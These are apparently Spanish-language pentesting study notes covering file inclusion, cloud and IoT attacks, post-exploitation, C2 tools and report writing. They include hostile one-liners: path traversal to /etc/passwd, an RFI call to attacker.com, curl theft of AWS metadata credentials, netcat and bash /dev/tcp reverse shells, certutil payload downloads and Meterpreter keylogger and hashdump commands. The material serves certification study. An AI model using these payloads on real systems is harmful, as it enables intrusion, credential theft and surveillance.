6.10–6.11 Path Traversal e Inclusión de Archivos

Path Traversal (Directory Traversal)

Manipular variables que contienen rutas de archivo usando ../ para salir del directorio raíz web y acceder a archivos del sistema.

```
?file=../../../../etc/passwd
?file=..\..\..\windows\system32\drivers\etc\hosts
?file=....//....//....//etc/passwd          -- evasión de filtros de ../
```

LFI — Local File Inclusion

La aplicación incluye archivos del servidor local a partir de un parámetro del usuario. No solo lee el archivo — en PHP, si el archivo contiene código PHP, lo ejecuta.

```
?page=../../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=config.php   -- leer PHP sin
ejecutar
```

```
?page=/var/log/apache2/access.log   -- Log Poisoning: inyectar payload en logs, luego incluirlo
```

RFI — Remote File Inclusion

La aplicación incluye un archivo desde una URL remota. Permite al atacante ejecutar código malicioso alojado en su propio servidor.

```
?page=http://attacker.com/shell.php
```

> ⚠ **NOTA:** *RFI requiere que allow_url_include esté habilitado en PHP. Está deshabilitado por defecto en versiones modernas.*

Manipulación de cookies

Si la aplicación guarda valores en cookies y los procesa sin validación del servidor, el usuario puede modificarlos directamente en el navegador y cambiar el comportamiento de la app.

- Cambiar rol: role=user → role=admin
- Cambiar precio: price=100 → price=1
- Cambiar usuario: userId=123 → userId=1 (acceso como admin)

6.12 Prácticas Inseguras de Programación

Práctica insegura	Riesgo	Ejemplo
Comentarios con información sensible	Revelan rutas internas, credenciales, lógica	<!-- TODO: cambiar password admin123 -->
Mensajes de error detallados	Stack traces revelan tecnología, versiones, rutas	Error en línea 42 de /var/www/html/db_connect.php
Credenciales hardcodeadas	Cualquiera que lea el código tiene las credenciales	$db_pass = 'miContraseña123'
Condición de carrera TOCTOU	Ventana entre verificación y uso del recurso	Verificar saldo → usarlo antes de que se actualice → doble gasto
APIs sin autenticación	Endpoints REST/SOAP/GraphQL accesibles sin credenciales	GET /api/v1/users — devuelve todos los usuarios
Campos hidden en formularios	Los campos hidden no son seguros — el usuario los puede modificar	<input type='hidden' name='price' value='99.99'>
Sin firma de código	El software puede ser modificado sin detección	Actualizaciones sin verificación de hash/firma
Sin rate limiting	Permite fuerza bruta sin restricción	Login sin límite de intentos

Herramientas de Pentesting Web — Resumen completo

Herramienta	Categoría	Uso principal
Burp Suite	Proxy web	Interceptar, modificar, repetir peticiones HTTP/HTTPS. El estándar de la industria.

Herramienta	Categoría	Uso principal
OWASP ZAP	Proxy web open source	Alternativa gratuita a Burp. Buena para empezar.
gobuster	Fuzzing	Enumerar directorios, archivos y subdominios por fuerza bruta con wordlist
ffuf	Fuzzing	Fuzzer web rápido. Más flexible que gobuster para parámetros complejos.
feroxbuster	Fuzzing	Similar a gobuster pero recursivo por defecto
sqlmap	SQL Injection	Automatización completa de SQLi: detección, explotación y extracción de datos
nikto	Escáner web	Detecta versiones desactualizadas, headers faltantes, directorios conocidos
John the Ripper	Cracking	Cracking de hashes de contraseñas con diccionario o fuerza bruta
Hashcat	Cracking	Más rápido que John usando GPU. Soporta miles de formatos de hash.
wfuzz	Fuzzing	Fuzzing de parámetros web, headers, cookies
Hydra	Fuerza bruta	Ataques de fuerza bruta a protocolos: HTTP, SSH, FTP, SMB, RDP

Módulo 7 — Seguridad en la Nube y Sistemas Especializados

7.1 Modelos de Servicio en la Nube

Entender qué gestiona el proveedor y qué gestiona el cliente es fundamental para saber qué vectores de ataque aplican.

Modelo	Nombre completo	Qué proporciona el proveedor	Responsabilidad del cliente	Analogía
IaaS	Infrastructure as a Service	Servidores virtuales, almacenamiento, redes, virtualización	SO, middleware, runtime, aplicaciones, datos	Alquilar un local vacío — vos lo equipás
PaaS	Platform as a Service	Todo lo de IaaS + SO, middleware, runtime, herramientas de desarrollo	Solo las aplicaciones y los datos	Alquilar un taller ya equipado con herramientas
SaaS	Software as a Service	Todo lo anterior + la aplicación completa	Solo usar el software	Alquilar el producto terminado

> ✓ **Clave:** *Pixel Paradise quiere cambiar de tener cada juego en su propia VM a que usuarios paguen suscripción para acceder → SaaS.*

7.1 Ataques en Entornos Cloud — Detalle completo

Credential Harvesting (Recolección de credenciales)

Robo de nombres de usuario, contraseñas, tokens de sesión, PINs o cookies mediante engaño o captura técnica.

Métodos principales:

- Phishing: email con link a sitio falso idéntico al legítimo
- Spear phishing: phishing dirigido a una persona específica con información personalizada
- Robo de cookies de sesión: si se obtiene la cookie, se puede suplantar la sesión sin conocer la contraseña, saltando incluso MFA
- Herramienta: Social-Engineer Toolkit (SET) → opción 'Credential Harvester Attack Method' + template de Twitter/Gmail

> ✓ **Clave:** *Mitigación más efectiva: MFA. Incluso con credenciales robadas, el atacante no puede autenticarse sin el segundo factor. Salvo que también robe la cookie post-autenticación.*

Privilege Escalation (Escalación de privilegios)

Explotar un error, misconfiguration o vulnerabilidad para obtener más privilegios de los asignados.

Tipo	Descripción	Ejemplo
Vertical	Usuario con pocos privilegios obtiene capacidades de administrador/root	Usuario normal → administrador del sistema

Tipo	Descripción	Ejemplo
Horizontal	Usuario obtiene acceso a recursos de otro usuario con el mismo nivel de privilegios	Usuario A accede a los datos del usuario B sin ser admin

- Causas: bugs en el software, buffer overflows, falta de validación de código, configuraciones incorrectas
- Mitigaciones: mantener sistemas actualizados, User Account Control (UAC) activo, principio de mínimo privilegio, bloquear estación de trabajo

Account Takeover (Secuestro de cuentas)

Un atacante toma control completo de una cuenta de usuario o aplicación legítima.

Señales de detección:

- Ubicación de inicio de sesión inusual o imposible (inicio en España y 5 min después en México)
- Muchos intentos fallidos de login seguidos de uno exitoso
- Correos de phishing enviados desde la cuenta comprometida hacia otros usuarios
- Conexiones OAuth o SAML desde aplicaciones no autorizadas
- Descarga masiva e inusual de archivos
- Cambios en configuración de MFA o recuperación de cuenta

Metadata Service Attacks

En AWS, cada instancia EC2 puede consultar un endpoint especial para obtener información sobre sí misma, incluyendo credenciales temporales de IAM que le permiten acceder a otros servicios AWS (buckets S3, funciones Lambda, etc.).

Endpoint vulnerable: http://169.254.169.254/latest/meta-data/

```
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-
credentials/NOMBRE_ROL
```

Si un atacante logra ejecutar una petición desde el servidor (ej. via SSRF), obtiene:

- AccessKeyId, SecretAccessKey, Token — credenciales temporales válidas por horas
- Con esas credenciales puede acceder a cualquier servicio AWS que tenga ese rol

Herramienta: nimbostratus — framework para explotar entornos AWS mal configurados

Mitigación: IMDSv2 (Instance Metadata Service v2) requiere token de sesión para consultar el endpoint, previniendo ataques SSRF simples

Ataques por Malas Configuraciones (Misconfigured Assets)

Tipo de misconfiguration	Descripción	Ejemplo de ataque
IAM mal configurado	Permisos excesivos o roles con acceso innecesario	Rol de EC2 con acceso completo a S3 — atacante lo roba y descarga todos los buckets
Federación mal implementada	SAML, OAuth o JWT con errores de validación	JWT con algoritmo 'none', replay de tokens SAML, cambiar expiración

Tipo de misconfiguration	Descripción	Ejemplo de ataque
Object Storage público	Buckets S3 o Azure Blob Storage accesibles por cualquiera sin autenticación	Datos confidenciales, backups, logs accesibles públicamente
Contenedores mal configurados	Imágenes con vulnerabilidades, corriendo como root, typosquatting en registros	Imagen 'alpine-linux' maliciosa en Docker Hub similar a 'alpine'
Secrets en código	Variables de entorno o archivos de config con credenciales en repos públicos	AWS keys en GitHub públicos

Resource Exhaustion / DoS-DDoS

Abrumar los recursos de un servicio para que deje de responder a usuarios legítimos.

Métrica	Qué mide	Qué componente afecta
bps (bits por segundo)	Volumen de tráfico en la red	Ancho de banda del enlace de red
pps (paquetes por segundo)	Cantidad de paquetes procesados	CPU de equipos de red (routers, firewalls)
rps (requests por segundo)	Peticiones HTTP procesadas	Servidores web y de aplicación

D2O (Direct-to-Origin): El atacante descubre la IP real del servidor detrás de un CDN o protección DDoS y ataca directamente, evitando la capa de protección.

```
searchsploit "Denial of Service"                    -- buscar exploits DoS conocidos
```

Cloud Malware Injection

El atacante inyecta una aplicación o instancia maliciosa que se ejecuta como si fuera una instancia válida dentro del entorno cloud (SaaS, PaaS o IaaS). Una vez dentro, puede lanzar ataques adicionales: puertas traseras, robo de datos, movimiento lateral dentro del cloud.

Side-Channel Attacks (Ataques de Canal Lateral)

Obtener información sensible midiendo efectos físicos o temporales indirectos del sistema, sin acceder directamente a los datos.

Canal lateral	Qué mide	Ejemplo de ataque
Tiempo (Timing)	Tiempo de ejecución de operaciones criptográficas	Inferir la clave privada por variaciones de microsegundos
Consumo energético (Power)	Diferencias en consumo según los datos procesados	Ataque DPA en tarjetas inteligentes
Emisiones EM	Radiación electromagnética de componentes	Reconstruir imagen de pantalla por radiación
Sonido (Acoustic)	Sonido generado por componentes durante operaciones	Reconstruir teclas presionadas por el sonido del teclado
Cache (CPU)	Patrones de acceso a caché del procesador	Spectre: inferir datos de otro proceso vía caché compartida

Spectre y Meltdown: Vulnerabilidades descubiertas en 2018 en procesadores Intel, AMD y ARM que explotan la ejecución especulativa del CPU para leer memoria de otros procesos, incluyendo el kernel. Afectaron prácticamente todos los procesadores modernos.

7.2 Dispositivos Móviles

Vulnerabilidades y ataques móviles

Vulnerabilidad	Descripción detallada	Herramienta de explotación
Ingeniería inversa	Descompilar el APK/IPA para analizar el código fuente, encontrar claves hardcodeadas, endpoints API ocultos o lógica de negocio vulnerable	ApkX, APK Studio, jadx
Almacenamiento inseguro	Guardar datos sensibles (tokens, contraseñas, PII) en SharedPreferences, SQLite sin cifrar, o archivos en almacenamiento externo en lugar de usar Keychain (iOS) / Keystore (Android)	Análisis estático con MobSF
Bypass de biometría/passcode	Saltarse la autenticación local de la app usando herramientas de instrumentación dinámica	Frida, Objection
Certificate Pinning bypasseado	La app implementa pinning para evitar proxies, pero los atacantes lo evaden	SSL Kill Switch 2 (iOS), Frida script, Objection
Apps corriendo como root	Viola el principio de mínimo privilegio. Si la app es comprometida, el atacante tiene acceso root al dispositivo	N/A — es error de diseño
Fallas de lógica de negocio	Usar el flujo normal de la app para obtener resultados no deseados (ej. saltarse pago, acceder a funciones premium)	Análisis manual + Burp Suite
Comunicaciones inseguras	Datos sensibles transmitidos sin cifrado o con verificación TLS desactivada	Burp Suite, Bettercap

Herramientas de pentesting móvil — detalle

Herramienta	Plataforma	Función detallada
Frida	Android/iOS	Instrumentación dinámica: inyectar JavaScript en la app en tiempo real para modificar comportamiento, hookear funciones, bypassear validaciones
MobSF	Android/iOS/Windows	Framework automatizado de análisis estático y dinámico. Detecta vulnerabilidades, permisos

Herramienta	Plataforma	Función detallada
		excesivos, credenciales hardcodeadas, comunicaciones inseguras
Drozer	Android	Framework de evaluación de seguridad. Explotar componentes Android exportados: Activities, Providers, Services, Receivers
ApkX / APK Studio	Android	Descompilar y recompilar APKs. ApkX usa jadx automáticamente.
jadx	Android	Descompilador de DEX/APK a Java legible. Muy útil para análisis de código
Ettercap	Red	Ataques MITM en la red local: ARP spoofing, sniffing, inyección de tráfico
Bettercap	Red	MITM moderno: ARP spoofing, DNS spoofing, SSL stripping, BLE recon
Burp Suite	HTTP/HTTPS	Interceptar y modificar tráfico de la app. Requiere instalar certificado en el dispositivo
Postman	APIs	Probar y documentar APIs REST/GraphQL. Útil para identificar endpoints no documentados

7.2 IoT — Internet de las Cosas

Por qué IoT es especialmente difícil de asegurar

- Disparidad de hardware y software: cada fabricante usa chips y SO diferentes
- Tecnologías heredadas (legacy): protocolos industriales de los años 80 sin seguridad diseñada
- Múltiples proveedores e integradores en un solo ecosistema: nadie es responsable de todo
- Recursos limitados: muchos dispositivos no tienen CPU/RAM suficiente para cifrado o TLS
- Disponibilidad crítica: no se pueden actualizar o reiniciar fácilmente (sensores médicos, industriales)
- No existe una solución única que aplique a todos

Vulnerabilidades comunes en IoT

Vulnerabilidad	Descripción	Consecuencia
Credenciales por defecto	Usuario admin/admin o contraseña en el manual del fabricante. Nunca cambiadas.	Acceso completo sin explotar nada — solo buscar en cirt.net
Comunicación en texto plano	Datos transmitidos sin cifrar: HTTP, Telnet, FTP en lugar de HTTPS/SSH/SFTP	Capturar credenciales con Wireshark en la misma red

Vulnerabilidad	Descripción	Consecuencia
Configuraciones hardcodeadas	Contraseñas o claves de cifrado fijas en el firmware — no se pueden cambiar	Extraer firmware, encontrar la clave, usarla en cualquier dispositivo igual
Firmware desactualizado	Sin mecanismo de actualización automática. Vulnerabilidades conocidas sin parchar.	Exploits públicos disponibles para versiones específicas
Entorno frágil	Sin soporte para TLS, cifrado o autenticación fuerte por limitaciones de hardware	Ataques que en un servidor normal serían mitigados aquí funcionan
Exposición directa a Internet	Dispositivos accesibles públicamente sin firewall. Indexados por Shodan.	Shodan encuentra el dispositivo, Metasploit tiene el exploit
Falta de sanitización de inputs	Interfaces web de configuración vulnerables a SQLi, XSS, Command Injection	Mismas técnicas web aplican a la interfaz de administración
Mensajes de error detallados	Revelan versiones, rutas y tecnologías del firmware	Fingerprinting para buscar exploits específicos

Protocolos comunes en IoT

Protocolo	Uso	Vulnerabilidad principal
BLE (Bluetooth Low Energy)	Wearables, sensores médicos, domótica	MITM si no se implementa cifrado de capa; GATTacker, BtleJuice
ZigBee	Automatización del hogar, sensores industriales	Cifrado con clave fija 'ZigBeeAlliance09' en muchos dispositivos
Z-Wave	Domótica (cerraduras, persianas)	Interceptación de tráfico en 868/908 MHz
Modbus	Sistemas industriales SCADA/ICS	Sin autenticación ni cifrado por diseño — lectura/escritura de registros sin restricción
S7comm	PLCs Siemens	Sin autenticación — famoso por Stuxnet
MQTT	IoT cloud messaging	Brokers sin autenticación expuestos a Internet

> ✓ **Clave:** *Para asegurar cámaras de vigilancia verificar: 1) Mecanismo de actualización de firmware, 2) Credenciales por defecto cambiadas, 3) Soporte para comunicaciones cifradas (HTTPS, TLS).*

7.2 IPMI y Virtualización

IPMI (Intelligent Platform Management Interface)

Interfaz de gestión fuera de banda que permite administrar un servidor incluso si el sistema operativo está apagado, bloqueado o sin respuesta.

Componente	Función	Riesgo si es comprometido
BMC (Baseboard Management Controller)	Chip dedicado con acceso directo al hardware: CPU, RAM, disco, red	Control total equivalente a acceso físico al servidor
KVM over IP	Control remoto del teclado, video y mouse	Ver pantalla y controlar el servidor como si estuvieras sentado frente a él
Serial over LAN	Acceso a consola serial remota	Acceso a boot loader, BIOS, sistemas sin SO

Si un atacante compromete el BMC puede: monitorear toda la actividad del servidor, reiniciarlo, instalar software malicioso a nivel de firmware (persistencia que sobrevive reinstalación del SO), modificar configuración del BIOS.

> ⚠ **NOTA:** *Vulnerabilidades conocidas de IPMI: contraseñas en texto plano en el protocolo IPMI 2.0, credenciales por defecto en muchos fabricantes, puerto 623 UDP expuesto sin autenticación.*

Vulnerabilidades de Virtualización

Ataque	Descripción	Impacto
VM Escape	El atacante explota una vulnerabilidad en el hipervisor o en los drivers de la VM para ejecutar código fuera de la VM, en el sistema anfitrión o en otras VMs	Rompe el aislamiento fundamental de la virtualización
Hyperjacking	El atacante toma control del hipervisor existente, o instala un hipervisor malicioso por debajo del SO (thin hypervisor / blue pill attack)	Controla todo el entorno virtualizado — puede interceptar todas las VMs
Repositorios maliciosos	Imágenes de VMs o contenedores con malware preinstalado en repositorios públicos — typosquatting (alpine-linux vs alpine) o imágenes comprometidas	El atacante obtiene acceso desde el momento en que se despliega la imagen
Tipo de hipervisor	**Ejemplos**	**Dónde corre**
Type 1 (Bare-metal)	VMware ESXi, Microsoft Hyper-V, Xen	Directamente sobre el hardware — sin SO anfitrión
Type 2 (Hosted)	VirtualBox, VMware Workstation, Parallels	Sobre un SO anfitrión — menor rendimiento, más fácil de usar

7.2 Contenedores (Docker / Kubernetes)

Los contenedores comparten el kernel del SO anfitrión, a diferencia de las VMs que tienen kernel propio. Esto los hace más eficientes pero también más riesgosos: una vulnerabilidad en el kernel puede comprometer todos los contenedores del host.

> ⚠ **NOTA:** *NUNCA ejecutar contenedores como root. Si el proceso del contenedor se ejecuta como root y hay un container escape, el atacante tiene root en el host.*

Herramientas de seguridad para contenedores

Herramienta	Función detallada	Tipo
Grype (Anchore)	Escáner de vulnerabilidades en imágenes de contenedores. Compara contra CVE databases. Integrable en pipelines CI/CD	Defensa — análisis estático
Dagda	Análisis estático de imágenes Docker para detectar malware, troyanos, backdoors y vulnerabilidades conocidas	Defensa — análisis estático
kube-bench	Evalúa la configuración de un clúster Kubernetes contra los estándares CIS Benchmarks. Genera informe de cumplimiento	Defensa — auditoría de configuración
kube-hunter	Herramienta ofensiva de pentesting para Kubernetes. Busca vectores de ataque: APIs expuestas, configuraciones débiles	Ofensiva — pentesting activo
Falco	Motor de detección de amenazas en tiempo de ejecución. Monitorea syscalls del kernel para detectar comportamiento anómalo en contenedores	Defensa — detección en tiempo real

✓ **Clave:** *kube-bench es evaluación pasiva (auditoría). kube-hunter es activo (pentesting). En examen suelen preguntar la diferencia.*

Módulo 8 — Post-Explotación, Persistencia, Movimiento Lateral y Evasión

Una vez obtenido el acceso inicial (foothold), el objetivo es mantenerlo, expandirlo a otros sistemas y cubrir las huellas. Este es el módulo que más se parece a lo que hace un atacante real una vez dentro.

8.1 Mantenimiento de Acceso (Persistencia)

El objetivo de la persistencia es mantener el acceso al sistema comprometido de forma silenciosa, sobreviviendo a reinicios y cambios de contraseña, para poder actuar durante semanas o meses sin ser detectado.

Ejemplo: un atacante puede exfiltrar datos lentamente ocultándolos en consultas DNS durante meses — el tráfico DNS rara vez es monitoreado en profundidad.

Métodos de persistencia

Método	SO	Descripción	
Reverse/Bind shell	Linux/Windows	Mantener una conexión activa al sistema	
Scheduled Task / Cron job	Windows/Linux	Ejecutar la reverse shell automáticamente en intervalos o al inicio	
Servicio/Demonio del sistema	Windows/Linux	Registrar un servicio malicioso que inicia con el SO	
Registry Run keys	Windows	Agregar entrada en HKLM/HKCU Run para ejecutar al inicio	
Crear nuevo usuario	Cualquiera	Crear cuenta con privilegios para acceso futuro con contraseña robusta	
Backdoor en app existente	Cualquiera	Modificar una aplicación legítima para incluir acceso no autorizado	
Rootkit	Kernel	Modificar el kernel para ocultar procesos, archivos y conexiones	

Acciones típicas una vez dentro

- Subir herramientas adicionales al sistema comprometido
- Escaneos ARP / ping sweeps para mapear la red interna
- Enumeración DNS interna — descubrir hostnames y subdominios internos
- Enumeración de directorios y shares de red
- Ataques de fuerza bruta a servicios internos
- Uso de WinRM, WMI, SMB, SNMP para comunicación con otros sistemas
- Configurar port forwarding y túneles SSH para pivotar
- Configurar VPN reversa para mantener acceso persistente

8.1 Tipos de Shell — Detalle técnico

Las shells son el mecanismo más básico de post-explotación. Entender la diferencia es crítico para saber cuándo usar cada una.

Tipo	Quién inicia la conexión	Cuándo usarla	Ventaja	Desventaja
Bind shell	El atacante se conecta A la víctima	Cuando el atacante puede alcanzar directamente la IP de la víctima	Simple de configurar	Bloqueada por firewalls de salida de la víctima
Reverse shell	La víctima se conecta AL atacante	Cuando la víctima tiene firewall que bloquea conexiones entrantes	Evita firewalls de entrada	Requiere que el atacante tenga IP pública o esté en la misma red

Ejemplos con Netcat

Bind shell — la víctima abre un puerto y espera al atacante:

```
# En la víctima:
nc -lvp 1234 -e /bin/bash
# En el atacante:
nc -nv 192.168.78.6 1234
```

Reverse shell — la víctima se conecta al atacante:

```
# En el atacante (escucha primero):
nc -lvp 666
# En la víctima:
nc 192.168.78.147 666 -e /bin/bash
```

Reverse shells en otros lenguajes

```
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1          # bash
python3 -c 'import socket,subprocess,os;...'       # python
php -r '$sock=fsockopen("IP",PORT);...'           # php
powershell -nop -c "$client = New-Object Net.Sockets..."  # powershell
```

8.1 Comandos Meterpreter — Referencia completa

Meterpreter es el payload más avanzado de Metasploit. Corre en memoria, no escribe al disco, y cifra comunicaciones. Comandos principales:

Comando	Función	Ejemplo de uso
sysinfo	Información del sistema: hostname, OS, arquitectura	sysinfo

Comando	Función	Ejemplo de uso
getuid	Usuario actual con el que corre la sesión	getuid
getpid	PID del proceso de Meterpreter	getpid
ps	Lista todos los procesos en ejecución	ps
migrate	Migrar a otro proceso (para estabilidad o evasión AV)	migrate 1234
shell	Abrir shell interactiva del SO (cmd.exe o bash)	shell
execute	Ejecutar comando en el sistema sin abrir shell	execute -f cmd.exe -i
search	Buscar archivos en el sistema por nombre o extensión	search -f *.txt -d C:\\
download	Descargar archivo del sistema víctima	download C:\\Users\\admin\\passwords.txt
upload	Subir archivo al sistema víctima	upload /root/tool.exe C:\\Temp\\
edit	Editar un archivo en el sistema	edit C:\\Windows\\hosts
lpwd	Directorio actual en el sistema del atacante (local)	lpwd
lcd	Cambiar directorio en el sistema del atacante	lcd /tmp
pwd	Directorio actual en el sistema víctima	pwd
cd	Cambiar directorio en el sistema víctima	cd C:\\Windows
hashdump	Volcar hashes NTLM de usuarios del sistema	hashdump
webcam_list	Listar cámaras disponibles en el sistema	webcam_list
webcam_snap	Tomar foto con la cámara	webcam_snap
screenshot	Capturar pantalla del sistema víctima	screenshot
keyscan_start	Iniciar keylogger	keyscan_start
keyscan_dump	Ver teclas capturadas	keyscan_dump
getsystem	Intentar escalar privilegios automáticamente	getsystem
run	Ejecutar módulo post-explotación	run post/windows/manage/migrate
background	Poner sesión en background	background
resource	Ejecutar comandos desde un archivo de script	resource /root/commands.rc

8.1 Command & Control (C2) — Infraestructura

Un servidor C2 es la infraestructura que permite al atacante enviar comandos y recibir resultados de múltiples sistemas comprometidos simultáneamente. El desafío es ocultarlo del tráfico de red normal.

Herramienta C2	Protocolo de ocultación	Lenguaje	Características
DNSCat2	DNS (consultas/respuestas)	Ruby	El tráfico DNS rara vez está bloqueado o monitoreado en profundidad. Cifrado.
TrevorC2	HTTP(S) — parece tráfico web normal	Python + WebSockets	Diseñado para evadir proxies corporativos
Twittor	Twitter Direct Messages	Python	Usa la API pública de Twitter — difícil de bloquear sin bloquear Twitter
WMImplant	WMI (protocolo nativo Windows)	PowerShell	'Living off the land' — usa herramientas del propio Windows
DropboxC2 (DBC2)	Dropbox API	Python	Los archivos de comando se suben/descargan de Dropbox
socat	TCP/TLS	C	Relay flexible para encadenar múltiples reverse shells
Empire	HTTP(S), PowerShell Remoting	PowerShell/Python	Framework completo con agentes, módulos y GUI
Cobalt Strike	HTTP(S), DNS, SMB	Java	El estándar en red teams profesionales. Comercial.

8.2 Living Off The Land (LotL) — Usar herramientas legítimas

En lugar de subir herramientas al sistema comprometido (que disparan alertas de AV), usar las herramientas que ya están instaladas en el SO. Este enfoque es mucho más difícil de detectar.

Herramienta	SO	Uso en post-explotación
PowerShell	Windows	Listar directorios, copiar archivos, ejecutar código, descargar payloads, acceder a APIs de Windows. El motor de la mayoría de ataques LotL modernos.
WMI (Windows Management Instrumentation)	Windows	Administrar sistemas remotos, enumerar información del sistema, ejecutar procesos, monitorear eventos. Sin crear archivos en disco.
PsExec (Sysinternals)	Windows	Ejecutar procesos en sistemas remotos con credenciales. Muy usado para movimiento lateral.
WinRM	Windows	Conexión remota legítima usando PowerShell Remoting. Activar: Enable-PSRemoting -Force
certutil.exe	Windows	Herramienta de certificados usada para descargar archivos: certutil -urlcache -f http://IP/payload.exe

Herramienta	SO	Uso en post-explotación
bitsadmin	Windows	Transferencia de archivos en background — rara vez monitoreado
cURL / wget	Linux	Descarga de payloads y herramientas adicionales
Python / Perl	Linux/Windows	Interpretes ya presentes en muchos sistemas — útiles para scripts y reverse shells

Herramientas de post-explotación especializadas

Herramienta	Función
PowerSploit	Módulos PowerShell para exfiltración, persistencia, escalación de privilegios, reconocimiento
Empire	Framework completo post-explotación. Agentes PowerShell y Python. GUI web.
BloodHound	Analiza relaciones en Active Directory para identificar rutas de ataque hacia Domain Admin
SharpHound	Colector de datos para BloodHound — corre en Windows como .NET assembly

8.2 Movimiento Lateral (Lateral Movement / Pivoting)

Técnicas para moverse desde el sistema comprometido hacia otros sistemas de la red interna, expandiendo el acceso.

Técnicas de movimiento lateral

Técnica	Descripción	Herramientas
Pass-the-Hash (PtH)	Usar el hash NTLM del usuario directamente para autenticarse sin necesitar la contraseña en texto plano	Mimikatz, CrackMapExec, Metasploit
Pass-the-Ticket (PtT)	Robar tickets Kerberos y usarlos para acceder a servicios	Mimikatz, Rubeus
Overpass-the-Hash	Convertir hash NTLM en ticket Kerberos para acceder a servicios Kerberos	Mimikatz
RDP	Escritorio remoto. Desventaja: el usuario legítimo puede ver o detectar la sesión	rdesktop, xfreerdp, mstsc
SMB	Mover herramientas y ejecutar comandos vía shares compartidos	PsExec, CrackMapExec
WinRM/PowerShell Remoting	Conexión remota nativa de Windows	Evil-WinRM, Invoke-Command
SSH Tunneling	Crear túneles SSH para pivotar hacia subredes no accesibles directamente	ssh -L, ssh -D (SOCKS proxy)

Técnica	Descripción	Herramientas
VNC	Control remoto de escritorio — genera actividad visual detectable	vncviewer

> ⚠ **NOTA:** *RDP tiene la desventaja de que el usuario legítimo puede detectar que hay una sesión remota activa si está usando el equipo en ese momento.*

Port forwarding con SSH

```
ssh -L 8080:192.168.1.100:80 user@pivot                # forward local: acceder a 192.168.1.100:80 via localhost:8080
ssh -R 4444:localhost:4444 user@attacker               # forward remoto: exponer puerto local al atacante
ssh -D 1080 user@pivot                                 # SOCKS proxy: enrutar todo el tráfico por la víctima
```

8.2 Escalación de Privilegios

Tipo	Windows — técnicas comunes	Linux — técnicas comunes
Vertical	Token Impersonation, PrintSpoofer, AlwaysInstallElevated, Unquoted Service Path, DLL Hijacking	SUID binaries, sudo misconfig, cron jobs con permisos débiles, kernel exploits, PATH hijacking
Horizontal	Robar credenciales de otro usuario en memoria o disco, Pass-the-Hash	Leer archivos de configuración de otro usuario, reutilización de contraseñas

Herramientas de enumeración para privesc

```
winPEAS.exe                                            # Windows: enumera todo automáticamente
linPEAS.sh                                             # Linux: equivalente en bash
PowerUp.ps1                                            # PowerShell: misconfigs en Windows
linux-exploit-suggester.sh                             # sugiere exploits kernel para Linux
```

8.3 Esteganografía

Técnica para ocultar información dentro de archivos aparentemente inocentes (imágenes, audio, video). Diferente del cifrado: el cifrado oculta el contenido, la esteganografía oculta la existencia del mensaje.

```
steghide embed -ef secreto.txt -cf imagen.jpg          # ocultar archivo en imagen JPEG
steghide embed -ef secreto.txt -cf imagen.jpg -p contraseña  # con contraseña
steghide extract -sf imagen.jpg                        # extraer
steghide extract -sf imagen.jpg -xf salida.txt -p contraseña
steghide info imagen.jpg                               # verificar si contiene datos ocultos
```

8.4 Limpieza — Post-Engagement Cleanup

Al finalizar el test, es obligatorio limpiar TODO lo que se instaló, modificó o creó durante el engagement. Esta es una responsabilidad profesional y ética.

Qué limpiar	Cómo verificar la limpieza
Cuentas de usuario creadas	Verificar con 'net user' (Windows) o '/etc/passwd' (Linux) que no quedan cuentas del tester
Reverse shells y bind shells	Verificar netstat que no hay puertos en escucha inusuales
Backdoors y persistencia (scheduled tasks, registry, cron)	Revisar tareas programadas, servicios y registro del sistema
Herramientas y scripts subidos al sistema	Verificar directorios temp y de trabajo usados
Datos de prueba en bases de datos	Restaurar snapshot pre-test o eliminar registros insertados
Configuraciones modificadas	Restaurar a valores originales documentados antes del test

> ✓ **Clave:** *Documentar ABSOLUTAMENTE todo lo que se instala y modifica durante el test — no después. Es imposible recordarlo todo al finalizar.*

Módulo 9 — Reportes y Comunicación en Pentesting

El reporte es el entregable final del pentest. Es lo que el cliente paga y lo que determina si puede mejorar su seguridad. Un pentest técnicamente excelente con un mal reporte es un pentest fallido.

9.1 Estructura del Reporte — Detalle de cada sección

El reporte debe comunicar a dos audiencias muy diferentes: la dirección y los equipos técnicos. Cada sección tiene una audiencia primaria:

Sección	Audiencia principal	Contenido detallado
Executive Summary	C-Suite (CEO, CISO, CFO)	Resumen de alto nivel sin tecnicismos: cuántas vulnerabilidades se encontraron, cuán graves son, qué riesgo representan para el negocio. Máximo 1-2 páginas.
Scope Details	Todos	Exactamente qué se probó: rangos IP, aplicaciones, URLs, SSIDs, fechas. Fundamental para que el cliente sepa qué quedó fuera del scope.
Methodology	Técnicos + management	Marco de trabajo utilizado: PTES, OWASP Testing Guide, NIST SP 800-115. Explica cómo se abordó la prueba.
Findings	Técnicos (IT, devs, sysadmins)	Lista de vulnerabilidades encontradas con evidencia (capturas, logs, outputs de herramientas), descripción técnica, clasificación de riesgo y pasos para reproducir.
Remediation	Técnicos + management	Recomendaciones específicas y accionables para corregir cada hallazgo. No solo decir 'actualizar el software' sino qué versión y cómo.
Conclusion	C-Suite	Estado general de la seguridad. Tendencias comparadas con tests anteriores si los hay. Próximos pasos recomendados.
Appendix	Técnicos	Logs completos, capturas de pantalla adicionales, outputs de herramientas, código de exploit utilizado, configuraciones relevantes.

9.1 Sistema CVSS — Puntuación de vulnerabilidades

CVSS (Common Vulnerability Scoring System) es el sistema estándar para calificar la severidad de vulnerabilidades del 0 al 10.

Grupo de métricas	Qué mide	Importancia para el cliente
Base Score	Explotabilidad (vector de ataque, complejidad, privilegios requeridos, interacción del usuario) e Impacto (confidencialidad, integridad, disponibilidad)	Punto de partida genérico — igual para todos los afectados
Temporal Score	Madurez del código del exploit (¿existe exploit público?), nivel de remediación (¿hay parche?), confianza en el reporte	Ajusta según el estado actual de la amenaza
Environmental Score	Personalizado para el entorno específico del cliente: importancia del sistema, datos que procesa, controles compensatorios ya implementados	EL MÁS IMPORTANTE — refleja el riesgo real para ese cliente específico

> ✓ **Clave:** *Un servidor FTP desactualizado tiene CVSS Base bajo. Pero si está accesible desde Internet y sigue siendo usado por empleados para transferir datos, el Environmental Score sube dramáticamente.*

9.1 Gestión de notas y evidencias

La toma de notas debe ser continua durante todo el test, no al finalizar. Es imposible recordar todos los detalles después.

- Capturar timestamps de cada acción significativa
- Screenshots de cada hallazgo — con suficiente contexto para ser reproducido
- Guardar logs completos de todas las herramientas
- Video de exploits complejos o difíciles de documentar en screenshots
